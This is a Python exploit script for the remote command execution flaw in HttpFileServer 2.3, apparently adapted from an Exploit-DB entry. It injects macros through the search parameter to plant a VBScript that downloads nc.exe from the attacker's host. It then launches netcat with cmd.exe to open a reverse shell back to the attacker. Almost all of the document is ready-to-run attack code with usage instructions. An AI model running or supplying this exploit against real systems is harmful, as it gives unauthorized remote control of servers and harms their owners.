#!/usr/bin/python
'''
    Tested in HttpFileServer 2.3 in windows server 2008 R2
    
    Based on https://www.exploit-db.com/exploits/39161

    Usage : python Exploit.py <Target IP address> <Target Port Number> <Local IP address>  <Local port netcat>
    
    note: <Local IP address> is the ip address of your machine which is listening to connections using netcat
          <Local port netcat> is normally  the netcat port you use to listen to
'''

import urllib2
import sys
from string import Template
import requests

try:
    commandParameters = sys.argv
    targetIpAddres = commandParameters[1]
    remotePort = commandParameters[2]
    localIpAddress = commandParameters[3]
    localPort = commandParameters[4]
    baseUrl = 'http://$targetIpAddres:$remotePort/?search=%00'

    def checkIfFileExistsInHost(file,path='C:\Windows\System32'):
        fullUrl = Template(baseUrl+'{.load|$path\$file.}') 
        urlToAttack = fullUrl.substitute(targetIpAddres=targetIpAddres,remotePort=remotePort,file=file,path=path)
        print('path to check ',urlToAttack)
        respose = urllib2.urlopen(urlToAttack)
        print(respose.read())

    def execute_malicious_script(fileName):
        print('')
        print('')
        print('[.] executing malicious script...')
        fullUrl = Template(baseUrl+'{.exec|cscript.exe+C:\Users\Public\$fileName.}') 
        urlToAttack = fullUrl.substitute(targetIpAddres=targetIpAddres,remotePort=remotePort,fileName=fileName)
        print(urlToAttack)
        response = requests.get(urlToAttack)
        print(response.status_code)

    def execute_netcat(fileName):
        print('')
        print('')
        print('[.] executing netcat reverse connection...')
        fullUrl = Template(baseUrl+'{.exec|C:\Users\Public\\$fileName+-e+C:\Windows\System32\cmd.exe+$localIpAddress+$localPort.}') 
        urlToAttack = fullUrl.substitute(targetIpAddres=targetIpAddres,remotePort=remotePort,fileName=fileName,localIpAddress=localIpAddress,localPort=localPort)
        print(urlToAttack)
        response = requests.get(urlToAttack)
        print(response.status_code)


    def upload_malicious_script(payloadFileName):
        print('[.] Uploading malicious script to server...')
        payload = '''dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
        dim bStrm: Set bStrm = createobject("Adodb.Stream")
        xHttp.Open "GET", "http://'''+localIpAddress+''':8000/nc.exe", False
        xHttp.Send
        with bStrm
        .type = 1 '//binary
        .open
        .write xHttp.responseBody
        .savetofile "C:\Users\Public\\nc.exe", 2 '//overwrite
        end with
        '''
        fullUrl = Template(baseUrl+'{.save|C:\Users\Public\$payloadFileName|$payload.}') 
        urlToAttack = fullUrl.substitute(targetIpAddres=targetIpAddres,remotePort=remotePort,payloadFileName=payloadFileName,payload=payload)
        response = requests.get(urlToAttack)
        print('response status ',response.status_code)
        print('response status ',response.text)

    upload_malicious_script('demon.vbs')
    execute_malicious_script('demon.vbs')
    execute_netcat('nc.exe')

except Exception as err:
    print(err)